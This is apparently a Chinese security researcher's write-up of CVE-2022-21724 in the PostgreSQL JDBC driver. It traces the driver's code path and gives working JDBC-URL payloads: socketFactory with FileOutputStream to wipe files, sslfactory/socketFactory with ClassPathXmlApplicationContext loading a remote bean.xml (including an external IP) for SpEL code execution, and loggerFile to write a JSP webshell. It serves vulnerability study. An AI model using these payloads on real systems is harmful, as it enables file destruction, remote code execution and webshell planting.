PostgreSQL JDBC (CVE-2022-21724)
任意代码执行 socketFactory/socketFactoryArg
跟着大佬的调用栈一步步分析
首先在Driver的connect方法处下个断点
调用makeConnection方法,跟进
返回一个PgConnection对象,跟进其构造方法
会调用ConnectionFactory.openConnection方法
实例化了一个ConnectionFactoryImpl对象,并调用了它的openConnectionImpl方法
调用了SocketFactoryFactory的getSocketFactory方法
首先是socketFactoryClassName的获取,在info中获取socketFactory的值,默认值为null其中info记录着扩展信息,host,数据库名,port等信息,那么可以通过扩展参数设置socketFactory的值 我们需要设置socketFactory不为空,以利⽤ObjectFactory.instantiate⽅法,跟进这个方法
通过反射实例化了一个类,而这个类是我们可以控制的,并且stringarg也是可控的
那我们接下来要做的事情便是寻找一个类:这个类既能对web应用造成伤害,又需要这个类的构造方法只有⼀个参数,而且参数类型为String
java.io.FileOutputStream类
对应的构造方法
如果指定的文件已经存在,并且append设置为false,则文件的内容将被清空,并写⼊新的数据。 那么可以利用这个类清空文件内容
1 | jdbc:postgresql://localhost:5432/test?socketFactory=java.io.FileOutputStream&socketFactoryArg=C:\\Users\\杨晨鑫\\Desktop\\1.txt |
org.springframework.context.support.ClassPathXmlApplicationContext类
实例化ClassPathXmlApplicationContext类,可以加载并解析classpath下指定的XML配置⽂件,从⽽创建⼀个包含所有配置的应 ⽤上下⽂。
对应的构造方法
会调用refresh方法,在refresh⽅法中,会调⽤obtainFreshBeanFactory⽅法,该⽅法内⼜会调⽤refreshBeanFactory⽅法,调⽤loadBeanDefinitions⽅法,会⼀直调⽤到AbstractXmlApplicationContext#loadBeanDefinitions⽅法
configResources默认为空,那么会获取ConfigLocations作为classpath去加载并且解析xml 那么需要⼀个恶意xml⽂件,poc通过SpEL表达式来造成RCE
bean.xml
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
启动一个http服务,目录下放入bean.xml文件
payload:
1 | jdbc:postgresql://localhost:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8080/bean.xml |
任意代码执行 sslfactory/sslfactoryarg
我们回到ConnectionFactoryImpl类的openConnectionImpl方法,还会调用一个tryConnect方法
跟进tryConnect方法
这个if条件是成立的,因为isGssEncrypted()默认为false
调用enableSSL方法,跟进,找到以下代码
当pgStream.receiveChar()方法接收到的字符为S时会调用这个convert方法,先跟进一下这个方法
又调用了SocketFactoryFactory.getSslSocketFactory(info)方法
这个方法即可以实例化一个类,和刚刚的就是一样的了,其类名和参数由sslfactory和sslfactoryargs两个扩展参数传递
payload
1 | jdbc:postgresql://localhost:5432/test?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://101.42.52.114:8080/bean.xml |
现在需要解决PostgreSQL响应的第一个字母为S
我们先监听一个5432端口以阻止pg请求,然后键入S即可
任意文件写⼊ loggerLevel/loggerFile
回到Driver.connect方法,在调用makeConnection方法之前还会调用setupLoggerFromProperties方法,跟进
必须让driverLogLevel不为null,继续
必须让driverLogFile不为null并且和loggerHandlerFile一致
如果这些条件都满足,那么就会调用LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);
利⽤这个思路可做JSP WebShell,将JSP恶意代码添加进URL中,然后⼀起写进文件中
payload
1 | jdbc:postgresql://localhost:5432/test?loggerLevel=debug&loggerFile=ycxhhh.txt&ycxlo |